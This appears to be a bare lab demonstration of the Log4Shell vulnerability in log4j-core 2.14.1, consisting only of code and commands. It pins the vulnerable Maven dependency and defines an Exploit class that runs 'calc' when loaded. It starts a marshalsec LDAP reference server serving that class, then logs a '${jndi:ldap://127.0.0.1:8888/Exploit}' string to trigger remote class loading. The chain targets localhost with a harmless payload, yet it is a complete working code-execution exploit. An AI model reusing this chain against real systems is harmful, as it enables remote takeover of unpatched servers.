<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>

public class Exploit {
    static {
        System.err.println("Turn on the calculator!");
        try {
            Runtime.getRuntime().exec("calc");
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
}

javac Exploit.java

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:7777/#Exploit" 8888

package cn.itmtr.log4jtest;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTestApplication {

    public static Logger log = LogManager.getLogger();

    public static void main(String[] args) {
        log.error("${jndi:ldap://127.0.0.1:8888/Exploit}");
    }

}